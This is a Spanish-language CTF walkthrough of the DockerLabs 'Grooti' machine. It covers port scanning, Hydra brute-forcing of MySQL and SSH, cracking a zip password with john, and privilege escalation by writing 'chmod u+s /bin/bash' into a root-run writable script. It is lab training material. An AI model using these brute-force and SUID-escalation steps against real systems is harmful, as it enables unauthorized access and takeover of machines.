Grooti DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip grooti.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh grooti.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 06:57 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000041s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 46:69:49:1a:d0:b7:26:05:90:a3:22:b2:a8:fe:fd:83 (ECDSA)
|_  256 91:67:c5:15:53:13:af:6f:28:7d:1e:77:46:0c:c1:bb (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: \xF0\x9F\x8C\xB1 Grooti's Web
3306/tcp open  mysql   MySQL 8.0.42-0ubuntu0.24.04.2
| ssl-cert: Subject: commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
| Not valid before: 2025-07-18T22:37:08
|_Not valid after:  2035-07-16T22:37:08
|_ssl-date: TLS randomness does not represent time
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.42-0ubuntu0.24.04.2
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: LongColumnFlag, InteractiveClient, SupportsCompression, IgnoreSigpipes, Speaks41ProtocolOld, FoundRows, SupportsTransactions, 
DontAllowDatabaseTableColumn, LongPassword, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ODBCClient, Support41Auth, 
ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: "]uG.'\\x0C;I \x08z8:3IcZ
| 
|_  Auth Plugin Name: caching_sha2_password
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds

Veremos en el puerto 80 que aloja una pagina web y algo mas interesante, tiene expuesto el puerto 3306 que corresponde con el de MySQL, por lo que vamos a enumerar estos dos puertos a ver que encontramos.

Si inspeccionamos la pagina del puerto 80 veremos la siguiente linea comentada:

<!-- 
        I am Grooti...
        Creo que Rocket ha entrado a mi base de datos...
	
	
    -->

Vemos que nos esta proporcionando un nombre de usuario para MySQL llamado Rocket por lo que vamos a probar a lanzar una fuerza bruta a MySQL con hydra de esta forma:

Hydra

hydra -l rocket -P <WORDLIST> mysql://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 07:01:14
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://172.17.0.2:3306/
[3306][mysql] host: 172.17.0.2   login: rocket   password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 07:01:16

Veremos que ha funcionado, por lo que vamos a conectarnos a la DDBB con dichas credenciales.

MySQL

mysql -h <IP_ATTACKER> -u rocket -ppassword1 --ssl=0 

Info:

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 80
Server version: 8.0.42-0ubuntu0.24.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Una vez que estemos dentro, vamos a realizar una enumeracion a ver que encontramos.

show databases;

Info:

+--------------------+
| Database           |
+--------------------+
| files_secret       |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.003 sec)

Veremos que hay una DDBB bastante interesante llamada files_secret si vemos que tablas tiene por dentro veremos lo siguiente:

use files_secret;
show tables;

Info:

+------------------------+
| Tables_in_files_secret |
+------------------------+
| rutas                  |
+------------------------+
1 row in set (0.002 sec)

Vamos a listar toda la informacion de dicha tabla...

select * from rutas;

Info:

+----+------------+---------------------------------+
| id | nombre     | ruta                            |
+----+------------+---------------------------------+
|  1 | imagenes   | /var/www/html/files/imagenes/   |
|  2 | documentos | /var/www/html/files/documentos/ |
|  3 | facturas   | /var/www/html/files/facturas/   |
|  4 | secret     | /unprivate/secret               |
+----+------------+---------------------------------+
4 rows in set (0.001 sec)

Por lo que vemos parecen rutas a nivel de recursos web de la pagina, vamos a probar a ver cuales son las mas interesantes.

Si entramos a /unprivate/secret veremos como un acceso a la terminal pero con un formulario web que nos indica instrucciones de que debemos de hacer, vamos a investigar a ver que podemos aprovechar en este espacio.

Si ponemos un texto y despues un numero, se nos descarga un archivo Excel en el que aparece una palabra aleatoria, si volvemos a descargarnoslo aparece nuestro texto y asi con los demas numeros, vamos a ver cual de los numero no descarga un archivo de Excel o tiene otro contenido con un script:

findWeb.sh

#!/bin/bash

URL="http://<IP_ATTACKER>/unprivate/secret/generate.php"
USER_AGENT="Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
REFERER="http://<IP_ATTACKER>/unprivate/secret/"
ORIGIN="http://<IP_ATTACKER>"

for number in $(seq 1 100); do
    echo "Requesting number=$number..."

    # Archivo temporal para guardar Excel
    temp_file=$(mktemp --suffix=.xlsx)

    # Hacer POST con curl
    curl -s -X POST "$URL" \
        -H "Host: <IP_ATTACKER>" \
        -H "User-Agent: $USER_AGENT" \
        -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
        -H "Accept-Language: en-US,en;q=0.5" \
        -H "Accept-Encoding: gzip, deflate, br" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "Origin: $ORIGIN" \
        -H "Connection: keep-alive" \
        -H "Referer: $REFERER" \
        -H "Upgrade-Insecure-Requests: 1" \
        --data "content=test&number=$number" \
        --output "$temp_file"

    # Convertir Excel a CSV y mostrar
    if command -v xlsx2csv &> /dev/null; then
        echo "Contenido del archivo para number=$number:"
        xlsx2csv "$temp_file"
    elif command -v ssconvert &> /dev/null; then
        echo "Contenido del archivo para number=$number:"
        ssconvert "$temp_file" /dev/stdout | cat
    else
        echo "No tienes instalado xlsx2csv ni ssconvert para leer Excel."
        echo "Archivo guardado en $temp_file"
    fi

    # Borrar archivo temporal
    rm "$temp_file"
    echo "-------------------------------------"
done

Lo guardamos e instalamos lo siguiente:

chmod +x findWeb.sh
pip install xlsx2csv
sudo apt install gnumeric

Ahora lo ejecutamos de esta forma:

./findWeb.sh

Info:

Requesting number=1...
Contenido del archivo para number=1:
Invalid xlsx file: /tmp/tmp.cMESI0vLDS.xlsx

-------------------------------------
Requesting number=2...
Contenido del archivo para number=2:
Invalid xlsx file: /tmp/tmp.11QryvhmL4.xlsx

-------------------------------------
Requesting number=3...
Contenido del archivo para number=3:
Invalid xlsx file: /tmp/tmp.nseON2Zqf6.xlsx

-------------------------------------
Requesting number=4...
Contenido del archivo para number=4:
Invalid xlsx file: /tmp/tmp.cuJoUnbJNa.xlsx

-------------------------------------
Requesting number=5...
Contenido del archivo para number=5:
Invalid xlsx file: /tmp/tmp.QwyKJGPn15.xlsx

-------------------------------------
Requesting number=6...
Contenido del archivo para number=6:
Invalid xlsx file: /tmp/tmp.QYokVJedK8.xlsx

-------------------------------------
Requesting number=7...
Contenido del archivo para number=7:
Invalid xlsx file: /tmp/tmp.LVrLhrCkiS.xlsx

-------------------------------------
Requesting number=8...
Contenido del archivo para number=8:
Invalid xlsx file: /tmp/tmp.HKxaPCjftJ.xlsx

-------------------------------------
Requesting number=9...
Contenido del archivo para number=9:
Invalid xlsx file: /tmp/tmp.aeMemYcH2M.xlsx

-------------------------------------
Requesting number=10...
Contenido del archivo para number=10:
Invalid xlsx file: /tmp/tmp.4P4syUIMyg.xlsx

-------------------------------------
Requesting number=11...
Contenido del archivo para number=11:
Invalid xlsx file: /tmp/tmp.ozKfGb84Al.xlsx

-------------------------------------
Requesting number=12...
Contenido del archivo para number=12:
Invalid xlsx file: /tmp/tmp.55PruhIJxB.xlsx

-------------------------------------
Requesting number=13...
Contenido del archivo para number=13:
Invalid xlsx file: /tmp/tmp.CAIQQOc2Tt.xlsx

-------------------------------------
Requesting number=14...
Contenido del archivo para number=14:
Invalid xlsx file: /tmp/tmp.AizGHjrN6R.xlsx

-------------------------------------
Requesting number=15...
Contenido del archivo para number=15:
Invalid xlsx file: /tmp/tmp.RDpx18wd0g.xlsx

-------------------------------------
Requesting number=16...
Contenido del archivo para number=16:
Traceback (most recent call last):
  File "/home/kali/Desktop/grooti/.venv/bin/xlsx2csv", line 8, in <module>
    sys.exit(main())
             ~~~~^^
  File "/home/kali/Desktop/grooti/.venv/lib/python3.13/site-packages/xlsx2csv.py", line 1243, in main
    xlsx2csv = Xlsx2csv(options.infile, **kwargs)
  File "/home/kali/Desktop/grooti/.venv/lib/python3.13/site-packages/xlsx2csv.py", line 228, in __init__
    workbook_relationships = list(filter(lambda r: "book" in r, self.content_types.types["relationships"]))
                                  ~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'NoneType' object is not iterable

Vemos que en el numero 16 da un error, por lo que se puede deber a que no sea un archivo Excel si no que, pueda deberse a un archivo de otra cosa, vamos a comprobarlo metiendo el numero 16 y escribiendo cualquier cosa.

Si hacemos esto nos descargara un archivo .zip, si lo descomprimimos veremos lo siguiente:

unzip password16.zip

Info:

Archive:  password16.zip
[password16.zip] password16.txt password: 
   skipping: password16.txt          incorrect password

Vemos que requiere de una contraseña, por lo que vamos a probar a crackearla con john de esta forma:

zip2john password16.zip > zip.hash
john --wordlist=<WORDLIST> zip.hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (password16.zip/password16.txt)     
1g 0:00:00:00 DONE (2025-07-28 07:22) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que nos ha crackeado la password, vamos a probarla en el archivo a ver si funciona.

unzip password16.zip

Info:

Archive:  password16.zip
[password16.zip] password16.txt password: 
  inflating: password16.txt

Vemos que hemos extraido el archivo de forma correcta, vamos a ver que contiene:

Escalate user grooti

password16.txt

admin123
123456
qwerty
letmein
roottoor
12345678
password
summer2025
iloveyou
hunter2
passw0rd
toor123
changeme
adminadmin
welcome1
trustno1
abc123456
useruser
dragon2024
mydogrex
grootlove
Galaxy42
!P@ssword!
megasecret
YOLOgroot
P@ss1234
monkeybanana
YOgrootRULEZ
YoSoYgRoOt
finalchance
1qaz2wsx
batman2025
rootroot
hello123

Vemos que son una serie de contraseñas para algun usuario suponemos del sistema, vamos a probarla con hydra por SSH a ver si hay suerte, con 2 usuarios en este caso grooti y rocket.

users.txt

grooti
rocket

Hydra (grooti)

hydra -L users.txt -P password16.txt ssh://<IP> -t 64 -I

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-28 07:26:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 68 login tries (l:2/p:34), ~2 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: grooti   password: YoSoYgRoOt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-28 07:26:50

Veremos que ha funcionado, por lo que vamos a conectarnos por SSH con dichas credenciales.

ssh grooti@<IP>

Metemos como contraseña YoSoYgRoOt y veremos que estaremos dentro.

Info:

Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.12.13-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 19 17:10:56 2025 from 172.17.0.1
grooti@51201a2dbfaa:~$ whoami
grooti

Escalate Privileges

Si nos vamos a /tmp veremos un archivo .sh llamado malicious.sh que si listamos para ver los permisos que tiene veremos lo siguiente:

-rwxrw-r-- 1 root  grooti  221 Jul 22 21:07 malicious.sh

Vemos que podemos modificar dicho script, si leemos que hace el mismo...

#!/bin/bash

LOG_TEMP="/tmp/mi_log_temporal.log"

echo "Log temporal creado a $(date)" > "$LOG_TEMP"
echo "Archivo $LOG_TEMP creado."

sleep 2

rm -f "$LOG_TEMP"
echo "Archivo $LOG_TEMP eliminado después de 2 segundos."

Vemos que crea un archivo en la carpeta /tmp como si fuera un log y lo borra a los 2 segundos:

total 20
drwxrwxrwt 1 root  root   4096 Jul 28 13:34 .
drwxr-xr-x 1 root  root   4096 Jul 28 12:57 ..
-rwxrw-r-- 1 root  grooti  221 Jul 22 21:07 malicious.sh
-rw-r--r-- 1 root  root     52 Jul 28 13:34 mi_log_temporal.log
drwx------ 2 mysql mysql  4096 Jul 19 00:37 tmp.ngOCkV7Loy

Veremos que efectivamente hay alguna tarea programada que esta ejecutando dicho script, pero esto en si, no nos interesa, vamos a borrar todo el contenido del script y poner esto:

#!/bin/bash

chmod u+s /bin/bash

Lo guardamos y solo tendremos que esperar un rato a que se ejecute por root.

Ahora despues de un rato si listamos la bash veremos lo siguiente:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Vemos que ya se establecieron los permisos SUID a la bash por lo que podremos hacer lo siguiente para ser root.

bash -p

Info:

bash-5.2# whoami
root

Veremos que con esto ya seremos root, por lo que habremos terminado la maquina y leeremos la flag de root.

grooti.txt

⠰⣶⣶⣶⣄⠀⠀⠀⢀⣀⠀⠀⣠⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠻⣿⣿⣿⡀⠀⠀⣿⠿⠷⢾⡏⠉⣿⣄⢀⣿⣷⡆⠀⠀
⢀⣠⣬⡁⢸⣿⣶⣿⣿⡇⠀⣾⡇⠀⣿⡏⠛⢻⣿⢧⣤⠀
⢸⣿⡿⡿⢻⠇⠀⢿⣿⡇⣠⣿⡇⣼⡿⠀⠀⣼⡏⢠⣾⠀
⢸⣿⡀⢀⣿⠀⣴⠈⣿⣿⣿⣿⣿⣿⠃⣾⣤⣿⠀⣼⣿⠀
⢸⣿⣧⢸⣿⣧⣿⣇⣿⣿⣿⣿⣿⣿⣾⣿⣿⣏⣼⣿⣿⠀
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁
⠀⢹⣿⣿⣿⣿⣿⠉⠙⣿⣿⣿⣿⣿⡯⠉⢻⣿⣿⣿⣿⠀
⠀⠸⣿⣿⣿⣧⡀⠀⣠⣿⣿⣿⣿⣄⠀⢀⣼⣿⣿⣿⠇⠀
⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀
⠀⠀⠘⣿⣿⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀
⠀⠀⠀⠘⣿⣿⣿⣿⣷⣄⣀⣀⣠⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⠿⠟⠛⠉⠀

Last updated